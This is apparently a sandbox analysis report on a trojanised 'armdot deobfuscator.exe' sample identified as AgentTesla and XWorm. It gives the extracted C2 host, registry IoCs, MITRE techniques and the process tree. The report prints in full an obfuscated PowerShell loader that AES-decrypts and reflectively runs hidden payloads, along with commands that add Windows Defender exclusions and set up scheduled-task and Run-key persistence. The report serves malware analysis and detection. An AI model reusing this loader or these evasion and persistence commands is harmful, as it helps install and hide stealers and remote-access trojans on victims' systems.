agenttesla | 39508b75635805ff4fa5eaf8c7aa926529b66ae52f08460d41d8d960e75385e3

Resubmissions

11-09-2024 00:01

240911-aa691stare 10

10-09-2024 23:54

240910-3ya6ps1fjn 10

Analysis

max time kernel
268s
max time network
268s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
10-09-2024 23:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tool/armdot deobfuscator.exe
Size

275KB
MD5

2bce10bc9bf1c5e013965c7a60deae05
SHA1

7efa1765b1842f4ce9e746c26c7d8394ad7820ce
SHA256

5e74f08923fec3a5daf99b9a6c0763b21a98226f90c537235408a4258389ca01
SHA512

fbfadeb3f983cc76478864de82952ce34cb7543743a3421151827c5a8226d24ddff2409f71230dfc4bbfad441cea9a148a11a31c16e3890cd5a0797fe4a9e7c0
SSDEEP

6144:IwDHUsnM9rwQCz8vRtKT2OyD0Ek+c9NWtO5MxRxLJcNfZ:IAjMnZtgbyD0wyWtOcJeZ

Score

10^/10

agenttesla xworm discovery execution keylogger persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

127.0.0.1:41594

internal-bachelor.gl.at.ply.gg:41594

Mutex

JgIYtyxyvTKZt7Bf

Attributes

Install_directory
%LocalAppData%
install_file
svchost.exe

aes.plain

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/memory/224-86-0x0000000007890000-0x00000000078A0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral4/memory/3148-110-0x00000000063D0000-0x00000000065E4000-memory.dmp	family_agenttesla

Blocklisted process makes network request 8 IoCs

flow	pid	Process
13	224	powershell.exe
47	224	powershell.exe
49	224	powershell.exe
58	224	powershell.exe
137	224	powershell.exe
209	224	powershell.exe
222	224	powershell.exe
226	224	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3672	powershell.exe
1532	powershell.exe
3376	powershell.exe
5008	powershell.exe
2612	powershell.exe
2604	powershell.exe
224	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	armdot deobfuscator.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
1088	cmd.exe
3148	Armdot Deobf.exe
1836	svchost.exe
2304	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\svchost.exe"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
168	discord.com
169	discord.com
167	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	armdot deobfuscator.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Armdot Deobf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Armdot Deobf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Armdot Deobf.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Armdot Deobf.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-355097885-2402257403-2971294179-1000\{9CE84DB7-091E-474A-A9B7-377828BDFBC4}	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3404	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2612	powershell.exe
2612	powershell.exe
2604	powershell.exe
2604	powershell.exe
224	powershell.exe
224	powershell.exe
3376	powershell.exe
3376	powershell.exe
5008	powershell.exe
5008	powershell.exe
3672	powershell.exe
3672	powershell.exe
1532	powershell.exe
1532	powershell.exe
224	powershell.exe
1836	svchost.exe
1836	svchost.exe
1836	svchost.exe
3288	msedge.exe
3288	msedge.exe
1908	msedge.exe
1908	msedge.exe
2304	svchost.exe
2304	svchost.exe
2304	svchost.exe
2832	identity_helper.exe
2832	identity_helper.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
1864	msedge.exe
1864	msedge.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe
224	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
224	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeIncreaseQuotaPrivilege	2604	powershell.exe
Token: SeSecurityPrivilege	2604	powershell.exe
Token: SeTakeOwnershipPrivilege	2604	powershell.exe
Token: SeLoadDriverPrivilege	2604	powershell.exe
Token: SeSystemProfilePrivilege	2604	powershell.exe
Token: SeSystemtimePrivilege	2604	powershell.exe
Token: SeProfSingleProcessPrivilege	2604	powershell.exe
Token: SeIncBasePriorityPrivilege	2604	powershell.exe
Token: SeCreatePagefilePrivilege	2604	powershell.exe
Token: SeBackupPrivilege	2604	powershell.exe
Token: SeRestorePrivilege	2604	powershell.exe
Token: SeShutdownPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeSystemEnvironmentPrivilege	2604	powershell.exe
Token: SeRemoteShutdownPrivilege	2604	powershell.exe
Token: SeUndockPrivilege	2604	powershell.exe
Token: SeManageVolumePrivilege	2604	powershell.exe
Token: 33	2604	powershell.exe
Token: 34	2604	powershell.exe
Token: 35	2604	powershell.exe
Token: 36	2604	powershell.exe
Token: SeIncreaseQuotaPrivilege	2604	powershell.exe
Token: SeSecurityPrivilege	2604	powershell.exe
Token: SeTakeOwnershipPrivilege	2604	powershell.exe
Token: SeLoadDriverPrivilege	2604	powershell.exe
Token: SeSystemProfilePrivilege	2604	powershell.exe
Token: SeSystemtimePrivilege	2604	powershell.exe
Token: SeProfSingleProcessPrivilege	2604	powershell.exe
Token: SeIncBasePriorityPrivilege	2604	powershell.exe
Token: SeCreatePagefilePrivilege	2604	powershell.exe
Token: SeBackupPrivilege	2604	powershell.exe
Token: SeRestorePrivilege	2604	powershell.exe
Token: SeShutdownPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeSystemEnvironmentPrivilege	2604	powershell.exe
Token: SeRemoteShutdownPrivilege	2604	powershell.exe
Token: SeUndockPrivilege	2604	powershell.exe
Token: SeManageVolumePrivilege	2604	powershell.exe
Token: 33	2604	powershell.exe
Token: 34	2604	powershell.exe
Token: 35	2604	powershell.exe
Token: 36	2604	powershell.exe
Token: SeIncreaseQuotaPrivilege	2604	powershell.exe
Token: SeSecurityPrivilege	2604	powershell.exe
Token: SeTakeOwnershipPrivilege	2604	powershell.exe
Token: SeLoadDriverPrivilege	2604	powershell.exe
Token: SeSystemProfilePrivilege	2604	powershell.exe
Token: SeSystemtimePrivilege	2604	powershell.exe
Token: SeProfSingleProcessPrivilege	2604	powershell.exe
Token: SeIncBasePriorityPrivilege	2604	powershell.exe
Token: SeCreatePagefilePrivilege	2604	powershell.exe
Token: SeBackupPrivilege	2604	powershell.exe
Token: SeRestorePrivilege	2604	powershell.exe
Token: SeShutdownPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeSystemEnvironmentPrivilege	2604	powershell.exe
Token: SeRemoteShutdownPrivilege	2604	powershell.exe
Token: SeUndockPrivilege	2604	powershell.exe
Token: SeManageVolumePrivilege	2604	powershell.exe
Token: 33	2604	powershell.exe
Token: 34	2604	powershell.exe
Token: 35	2604	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe
1908	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
224	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 4928	2336	armdot deobfuscator.exe	85
PID 2336 wrote to memory of 4928	2336	armdot deobfuscator.exe	85
PID 2336 wrote to memory of 4928	2336	armdot deobfuscator.exe	85
PID 4928 wrote to memory of 2612	4928	cmd.exe	88
PID 4928 wrote to memory of 2612	4928	cmd.exe	88
PID 4928 wrote to memory of 2612	4928	cmd.exe	88
PID 2612 wrote to memory of 2604	2612	powershell.exe	89
PID 2612 wrote to memory of 2604	2612	powershell.exe	89
PID 2612 wrote to memory of 2604	2612	powershell.exe	89
PID 2612 wrote to memory of 4896	2612	powershell.exe	92
PID 2612 wrote to memory of 4896	2612	powershell.exe	92
PID 2612 wrote to memory of 4896	2612	powershell.exe	92
PID 4896 wrote to memory of 3508	4896	WScript.exe	93
PID 4896 wrote to memory of 3508	4896	WScript.exe	93
PID 4896 wrote to memory of 3508	4896	WScript.exe	93
PID 3508 wrote to memory of 224	3508	cmd.exe	96
PID 3508 wrote to memory of 224	3508	cmd.exe	96
PID 3508 wrote to memory of 224	3508	cmd.exe	96
PID 224 wrote to memory of 1088	224	powershell.exe	98
PID 224 wrote to memory of 1088	224	powershell.exe	98
PID 224 wrote to memory of 3148	224	powershell.exe	99
PID 224 wrote to memory of 3148	224	powershell.exe	99
PID 224 wrote to memory of 3148	224	powershell.exe	99
PID 224 wrote to memory of 3376	224	powershell.exe	101
PID 224 wrote to memory of 3376	224	powershell.exe	101
PID 224 wrote to memory of 3376	224	powershell.exe	101
PID 224 wrote to memory of 5008	224	powershell.exe	103
PID 224 wrote to memory of 5008	224	powershell.exe	103
PID 224 wrote to memory of 5008	224	powershell.exe	103
PID 224 wrote to memory of 3672	224	powershell.exe	107
PID 224 wrote to memory of 3672	224	powershell.exe	107
PID 224 wrote to memory of 3672	224	powershell.exe	107
PID 224 wrote to memory of 1532	224	powershell.exe	110
PID 224 wrote to memory of 1532	224	powershell.exe	110
PID 224 wrote to memory of 1532	224	powershell.exe	110
PID 224 wrote to memory of 3404	224	powershell.exe	113
PID 224 wrote to memory of 3404	224	powershell.exe	113
PID 224 wrote to memory of 3404	224	powershell.exe	113
PID 1908 wrote to memory of 3676	1908	msedge.exe	125
PID 1908 wrote to memory of 3676	1908	msedge.exe	125
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126
PID 1908 wrote to memory of 4832	1908	msedge.exe	126

C:\Users\Admin\AppData\Local\Temp\tool\armdot deobfuscator.exe
"C:\Users\Admin\AppData\Local\Temp\tool\armdot deobfuscator.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\crypt2.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wIalkQRXMjI6os9KK3k7hlFrDQkHj2XVm7J3WOd1/SA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ZRtmDqjWQoNwY5EpOeNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FqaIW=New-Object System.IO.MemoryStream(,$param_var); $iUhow=New-Object System.IO.MemoryStream; $lErRr=New-Object System.IO.Compression.GZipStream($FqaIW, [IO.Compression.CompressionMode]::Decompress); $lErRr.CopyTo($iUhow); $lErRr.Dispose(); $FqaIW.Dispose(); $iUhow.Dispose(); $iUhow.ToArray();}function execute_function($param_var,$param2_var){ $imtyS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PkVgO=$imtyS.EntryPoint; $PkVgO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\crypt2.bat';$CZdgQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\crypt2.bat').Split([Environment]::NewLine);foreach ($eeotO in $CZdgQ) { if ($eeotO.StartsWith(':: ')) { $Hwsqs=$eeotO.Substring(3); break; }}$payloads_var=[string[]]$Hwsqs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2612
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_799_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_799.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2604
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_799.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4896
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_799.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3508
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wIalkQRXMjI6os9KK3k7hlFrDQkHj2XVm7J3WOd1/SA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ZRtmDqjWQoNwY5EpOeNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FqaIW=New-Object System.IO.MemoryStream(,$param_var); $iUhow=New-Object System.IO.MemoryStream; $lErRr=New-Object System.IO.Compression.GZipStream($FqaIW, [IO.Compression.CompressionMode]::Decompress); $lErRr.CopyTo($iUhow); $lErRr.Dispose(); $FqaIW.Dispose(); $iUhow.Dispose(); $iUhow.ToArray();}function execute_function($param_var,$param2_var){ $imtyS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PkVgO=$imtyS.EntryPoint; $PkVgO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_799.bat';$CZdgQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_799.bat').Split([Environment]::NewLine);foreach ($eeotO in $CZdgQ) { if ($eeotO.StartsWith(':: ')) { $Hwsqs=$eeotO.Substring(3); break; }}$payloads_var=[string[]]$Hwsqs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:224
        
        C:\Users\Admin\AppData\Local\Temp\tool\cmd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tool\cmd.exe"
        7⤵
        Executes dropped EXE
        
        PID:1088
        
        C:\Users\Admin\AppData\Local\Temp\tool\Armdot Deobf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tool\Armdot Deobf.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:3148
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3376
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\svchost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3672
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1532
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Local\svchost.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3404

C:\Users\Admin\AppData\Local\svchost.exe
C:\Users\Admin\AppData\Local\svchost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1836

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffbd20146f8,0x7ffbd2014708,0x7ffbd2014718
  2⤵
  PID:3676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2
  2⤵
  PID:4832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2696 /prefetch:8
  2⤵
  PID:3256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,10310568814473693745,12734241081308899809,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
  2⤵
  PID:4276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
